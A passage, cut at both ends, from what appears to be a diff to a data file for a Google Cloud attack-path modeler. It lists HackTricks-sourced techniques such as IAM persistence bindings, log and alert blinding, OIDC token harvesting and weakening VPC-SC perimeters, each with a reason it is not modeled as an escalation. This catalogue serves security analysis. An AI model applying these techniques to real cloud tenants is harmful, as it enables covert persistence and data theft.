exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-domains-persistence.md#domainsregistrationssetiampolicy--registration-scoped-iam-persistence + technique: domains.registrations.setIamPolicy — registration-scoped IAM persistence + reason: The binding grants access to a domain-registration resource; the independent Workspace recovery path is modeled by gcp-domains-configuredns-workspace-admin-recovery. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-vmwareengine-gcve-persistence.md#privatecloudssetiampolicy--durable-iam-binding-for-a-controlled-principal + technique: privateClouds.setIamPolicy — durable IAM binding for a controlled principal + reason: The binding grants VMware Engine private-cloud control to a controlled principal; vCenter/NSX credentials are separate from Google IAM service accounts. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#alert-policy--attacker-channel-as-a-defender-activity-feed---monitoringalertpoliciescreate--monitoringnotificationchannelscreate + technique: Alert policy + attacker channel as a defender-activity feed - monitoring.alertPolicies.create + monitoring.notificationChannels.cr + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#hijacking-the-existing-alert-delivery-path---monitoringnotificationchannelsupdate + technique: Hijacking the existing alert delivery path - monitoring.notificationChannels.update + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#long-lived-snooze-as-durable-blindness---monitoringsnoozescreate--update + technique: Long-lived snooze as durable blindness - monitoring.snoozes.create / .update + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#uptime-check-as-a-recurring-outbound-channel---monitoringuptimecheckconfigscreate + technique: Uptime check as a recurring outbound channel - monitoring.uptimeCheckConfigs.create + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#scheduled-service-agent-oidc-token-harvesting---monitoringuptimecheckconfigscreate--an-endpoint-you-control + technique: Scheduled service-agent OIDC token harvesting - monitoring.uptimeCheckConfigs.create + an endpoint you control + reason: The delivered OIDC token is audience-bound to the configured endpoint and cannot be exchanged for a general Google API access token. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-service-directory-persistence.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: servicedirectory.namespaces/services.setIamPolicy — resource-scoped IAM persistence + reason: The binding grants management of Service Directory namespaces or services only; it does not grant a workload service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-data-fusion-persistence.md#instancenamespace-iam-binding-for-a-controlled-principal-datafusioninstancessetiampolicy + technique: Instance/namespace IAM binding for a controlled principal (datafusion.instances.setIamPolicy) + reason: The same datafusion.instances.setIamPolicy self-grant followed by Data Fusion pipeline execution is modeled by gcp-datafusion-setiampolicy-self-grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-deploy-persistence.md#clouddeployrolloutsrollback--re-arm-a-backdoor-release-on-demand + technique: clouddeploy.rollouts.rollback — re-arm a backdoor release on demand + reason: Rollback reactivates a previously created release; this permission alone cannot author a new artifact or select a new execution identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-deploy-persistence.md#clouddeployreleasesabandon--foreclose-the-rollback-remediation-path + technique: clouddeploy.releases.abandon — foreclose the rollback remediation path + reason: Abandoning a release blocks rollback and remediation; it provides no new execution identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#standing-analysis-rule--continuous-auto-analysis-of-new-conversations-analysisrulescreate + technique: Standing analysis rule → continuous auto-analysis of new conversations (analysisRules.create) + reason: The rule continually analyzes future conversations and extracts PII; it does not provide a second Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#standing-redaction-disable-via-settingsupdate--durable-raw-pii-capture + technique: Standing redaction-disable via settings.update — durable raw-PII capture + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#authorized-view-iam-binding-for-a-controlled-principal-authorizedviewssetiampolicy + technique: Authorized-view IAM binding for a controlled principal (authorizedViews.setIamPolicy) + reason: The binding grants continued access only to the named service resource or its data plane; it does not yield a separate service account's IAM permissions. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-spanner-persistence.md#standing-data-role-grant-to-a-throwaway-principal-setiampolicy-backdoor + technique: Standing data-role grant to a throwaway principal (setIamPolicy backdoor) + reason: Duplicate durable variant of the active Spanner database/instance IAM self-grant paths. A binding to a separate throwaway principal would require an exact + target-principal possession proof not documented here. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagehmackeyscreate + technique: storage.hmacKeys.create + reason: The same HMAC-key creation path and Cloud Storage-scoped target are modeled by gcp-storage-hmackeys-create; this section emphasizes credential persistence. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagebucketsupdate--pubsub-object-notification-exfil--monitoring-channel + technique: storage.buckets.update — Pub/Sub object-notification exfil & monitoring channel + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagebucketsupdate--default-object-acl-poisoning-auto-expose-future-objects + technique: storage.buckets.update — default-object-ACL poisoning (auto-expose future objects) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-flink-persistence.md#managedflinkjobscreate--long-running-streaming-job-foothold + technique: managedflink.jobs.create — long-running streaming-job foothold + reason: The same managedflink.jobs.create plus actAs deployment identity path is modeled by gcp-managedflink-jobs-create-actas; this section describes keeping the + job running. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-pam-persistence.md#broaden-or-hijack-an-existing-entitlement-entitlementsupdate--entitlementssetiampolicy + technique: Broaden or hijack an existing entitlement (entitlements.update / entitlements.setIamPolicy) + reason: PAM checks that the editor could already grant the entitlement's offered role; changing eligibleUsers or approvalWorkflow therefore cannot create a role + beyond the editor's existing IAM authority. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingsinkscreate + technique: logging.sinks.create + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingsinksupdate--durable-blinding-of-_default-exclusion-or-disable + technique: logging.sinks.update — durable blinding of _Default (exclusion or disable) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingbucketsupdate---locked--anti-remediation-retention-floor + technique: logging.buckets.update --locked — anti-remediation retention floor + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-security-command-center-persistence.md#security-posture-tamper--revert-preventive-guardrails-silently-securitypostureposturedeployments + technique: Security Posture tamper — revert **preventive** guardrails, silently (securityposture.postureDeployments.*) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dlp-persistence.md#dlpjobtriggerscreate--recurring-sensitive-value-collection + technique: dlp.jobTriggers.create — recurring sensitive-value collection + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#durable-kafka-connect-connector-as-a-standing-tap-managedkafkaconnectorscreate + technique: Durable Kafka Connect connector as a standing tap (managedkafka.connectors.create) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#attacker-created-topic-as-a-covert-channel--dead-drop-managedkafkatopicscreate + technique: Attacker-created topic as a covert channel / dead-drop (managedkafka.topics.create) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#kafka-acl-granting-a-controlled-principal-durable-topic-access-managedkafkaaclscreate--updateentries + technique: Kafka ACL granting a controlled principal durable topic access (managedkafka.acls.create / updateEntries) + reason: This can add Kafka broker ACL rights, but the current GCP typed IAM self-grant contract cannot prove Kafka ACL principal mapping, operation, topic target, + and before/after broker authorization. Retain as a reviewed schema gap, not an active path. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#project-level-rolesmanagedkafkaclient-grant-to-a-controlled-identity + technique: Project-level roles/managedkafka.client grant to a controlled identity + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching resourcemanager policy-write entries; + this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cx-agent-studio-persistence.md#cesagentsupdate--cestoolsupdate--implant-persistent-agent-behavior + technique: ces.agents.update / ces.tools.update — implant persistent agent behavior + reason: Agent/tool edits alter application behavior when the agent runs; no Google IAM service-account token or role is granted by the edit. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cx-agent-studio-persistence.md#cesappversionscreate--cesdeploymentsupdate--pin-a-backdoored-immutable-version + technique: ces.appVersions.create + ces.deployments.update — pin a backdoored immutable version + reason: Pinning an app version preserves a backdoored agent application; it does not yield a Google IAM service-account identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md#apikeyskeyscreate--apikeyskeysgetkeystring + technique: apikeys.keys.create (+ apikeys.keys.getKeyString) + reason: An API key identifies a project for key-accepting APIs; it is not an OAuth credential for a service account or user. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md#apikeyskeysundelete--revive-a-key-the-defender-already-deleted + technique: apikeys.keys.undelete — revive a key the defender already deleted + reason: An API key identifies a project for key-accepting APIs; it is not an OAuth credential for a service account or user. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-certificate-authority-service-persistence.md#privatecacertificateauthoritiescreate--attacker-controlled-signing-key--retain-a-trusted-subordinate-ca-credential + technique: privateca.certificateAuthorities.create + attacker-controlled signing key — retain a trusted subordinate CA credential + reason: A subordinate CA can sign certificates inside its trust domain, but cannot authenticate as a Google IAM service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-healthcare-persistence.md#healthcarefhirstoresupdate--stream-future-fhir-versions-to-bigquery + technique: healthcare.fhirStores.update — stream future FHIR versions to BigQuery + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-healthcare-persistence.md#healthcarefhirstoresupdate--publish-future-full-fhir-resources-to-pubsub + technique: healthcare.fhirStores.update — publish future full FHIR resources to Pub/Sub + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-bigtable-unauthenticated-enum.md#tables-granted-bigtabletablesreadrows-to-allusers--allauthenticatedusers + technique: Tables granted bigtable.tables.readRows to allUsers / allAuthenticatedUsers + reason: The public Bigtable table binding exposes table rows; it gives no permission to act as the table owner or service account. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-firebase-unauthenticated-enum.md#anonymous-sign-up--bypass-if-requestauth--null-rules + technique: Anonymous sign-up → bypass if request.auth != null rules + reason: Anonymous Firebase sign-up satisfies an overly broad application security rule; it does not grant a Google Cloud IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-tasks-unauthenticated-enum.md#queues-granted-cloudtaskstaskscreate-to-allusers--allauthenticatedusers + technique: Queues granted cloudtasks.tasks.create to allUsers / allAuthenticatedUsers + reason: A public queue binding permits unauthenticated task enqueueing; without actAs on the queue token service account it does not supply that account's IAM privileges. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iap-unauthenticated-enum.md#allusers--rolesiaphttpsresourceaccessor-bypass + technique: allUsers → roles/iap.httpsResourceAccessor bypass + reason: The allUsers IAP binding exposes the protected application to the public; it does not impersonate the application service account. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md#claim-a-released-cloudrun-custom-url + technique: Claim a released *.cloud.run custom URL + reason: Claiming a retired custom URL can capture traffic or credentials sent to that hostname, but no configuration-derived Google principal is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformworkflowinvocationscreate--invoke-an-existing-compilation-result-or-user-credential-workflow + technique: Invoke saved Dataform actions as their effective service account + reason: Invokes only saved actions as an existing identity; no arbitrary code, credential, or new permission for the source is established. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypolicyset + technique: orgpolicy.policy.set lifts org policy constraints + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypoliciescreate--orgpolicypoliciesupdate-v2-api--disable-guardrails-at-project-scope + technique: Org Policy v2 policies.create / update / delete + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Service perimeter update + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesslevelsreplaceall--serviceperimetersreplaceall--atomic-bulk-overwrite-distinct-audit-method + technique: Bulk replaceAll of access levels / perimeters + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#dry-run-spec-vs-enforced-status--stealth-staging--one-call-flip + technique: Dry-run spec staging and enforcement flip + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#authorizedorgsdescs-authorized-orgs--cross-org-trust-injection + technique: Authorized orgs injection + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformworkflowinvocationscreate--invoke-an-existing-compilation-result-or-user-credential-workflow + technique: Trigger an existing Dataform workflow configuration that runs with a Google Account's user credentials + reason: Invokes only saved actions as an existing identity; no arbitrary code, credential, or new permission for the source is established. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanageraccesslevelsupdate--loosen-context-aware-access + technique: Loosen access level for attacker IP, device, region or principal + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Create a bridge perimeter joining attacker and victim projects + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Delete a perimeter or access level to remove protection + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions + technique: Delete or weaken a group context-aware access binding + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream + technique: Repoint accessible gateway app to new internal HTTP(S) host + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesdelete--datacatalogtaxonomiesupdate--disable-column-level-enforcement + technique: Delete policies and deactivate taxonomy enforcement + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryrowaccesspolicies--widen-or-remove-row-level-security + technique: Widen or delete row-access policy + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use + technique: Widen a view caller can already read or mutate + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsintegrationsinvoke--invoke-a-credentialed-workflow + technique: Invoke existing published credentialed integration with chosen inputs + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#authorization-bypass-and-shadow-resources + technique: ConfigConfusion in-cluster RBAC permits IAMPolicyMember CRD self grant + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#remove + technique: Delete PAB binding or policy to lift principal resource boundary + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-private-catalog-persistence.md#durable-poisoned-product-in-an-associated-catalog + technique: Associate poisoned catalog with additional consumer hierarchy + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsexecutionscreate--invoke-an-existing-privileged-workflow + technique: Invoke privileged existing workflow with chosen parameters + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowscallbackssend--inject-data-into-a-paused-privileged-execution + technique: Inject callback data into paused privileged execution + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#workspace-super-administrator-to-gcp-organization-administrator + technique: Workspace or Cloud Identity super administrator takes over the associated Google Cloud organization + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#bypassing-access-scopes + technique: Steal a service-account key from a compromised VM to bypass narrow metadata-token scopes + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#container-breakout-via-docker-socket-container---vm---project + technique: Escape workstation container to VM and steal metadata SA token + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#google-groups-privilege-escalation + technique: Self-join a Google Group whose join setting is open to the source + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-application-logs-with-logginglogentrieslist + technique: Recover credentials printed in App Engine logs + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-or-poison-app-engine-memcache-data + technique: Recover cached session token from Memcache + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-source-code + technique: Recover hard-coded credentials from retained App Engine deployment source + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-secrets-and-deployment-locations-from-version-configuration + technique: Read literal secrets from App Engine version environment + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesdownloadartifacts--inspect-stored-artifacts-for-sensitive-data + technique: Recover credentials embedded in Artifact Registry package or image + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesexportartifacts--copy-an-artifact-to-cloud-storage + technique: Export Artifact Registry artifact to storage + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryskillrevisionscreate--agentregistryskillsupdate--replace-an-executable-skills-default-revision + technique: Replace default executable Skill revision + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#continuously-capture-labelled-compute-resources-with-auto-protection + technique: Capture future VM disk credentials with Backup and DR auto-protection + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#restore-a-vaulted-compute-engine-backup-into-a-controlled-project + technique: Recover durable credentials stored on backed-up VM disks + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryjobslistall--jobslist-jobsget--read-every-principals-sql-silently + technique: Recover API keys or tokens in other users’ SQL and query parameters + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md#read-stored-build-output + technique: Recover credentials printed in stored Cloud Build logs + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#remote-repository-pointing-at-an-attacker-controlled-upstream-url + technique: Create attacker-upstream remote repository consumed directly + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-deployment-manager-enum.md#what-to-review + technique: Recover an unredacted credential from a deployment manifest + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-application-design-center-post-exploitation.md#rolesdesigncenterviewer--read-objects-from-known-cloud-storage-buckets + technique: Read known bucket objects through Design Center Viewer role + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#http-connector-credential-forwarding + technique: Redirect credentialed HTTP connector via caller-controlled URL + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-deployment-manager-post-exploitation.md#deploymentmanagermanifestsget--discovery-permissions--recover-configuration-and-unredacted-credentials + technique: Recover a second identity credential from a Deployment Manager manifest + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md#dialogflowwebhooksupdate--redirect-retained-external-authentication-material + technique: Redirect a routed webhook retaining an external credential + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/resource-sharing-and-confused-deputy-attacks.md#notable-subtleties + technique: Pub/Sub push OIDC token to attacker endpoint + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#scheduled-service-agent-oidc-token-harvesting---monitoringuptimecheckconfigscreate--an-endpoint-you-control + technique: Receive Monitoring service-agent OIDC tokens + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-secure-source-manager-enum.md#relevant-permissions + technique: Capture repository webhook OIDC token + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#backdoor-workflow-bound-to-a-privileged-service-account + technique: Invoke an existing parameterized workflow as its service account + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#long-lived-callback-endpoint---a-waiting-execution-as-a-trigger + technique: Resume a privileged workflow through a parameterized callback + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md#historical--unpatched-hybrid-cve-2025-13292-gatewaytoheaven + technique: Unpatched Apigee Hybrid metadata and analytics-worker credential chain + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#backup-and-restore-gke-secrets-into-an-attacker-accessible-cluster + technique: Copy source-cluster credential Secrets with Backup for GKE + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#export-sql-server-login-password-hashes-with-sp_help_revlogin + technique: Recover another Cloud SQL login by exporting and 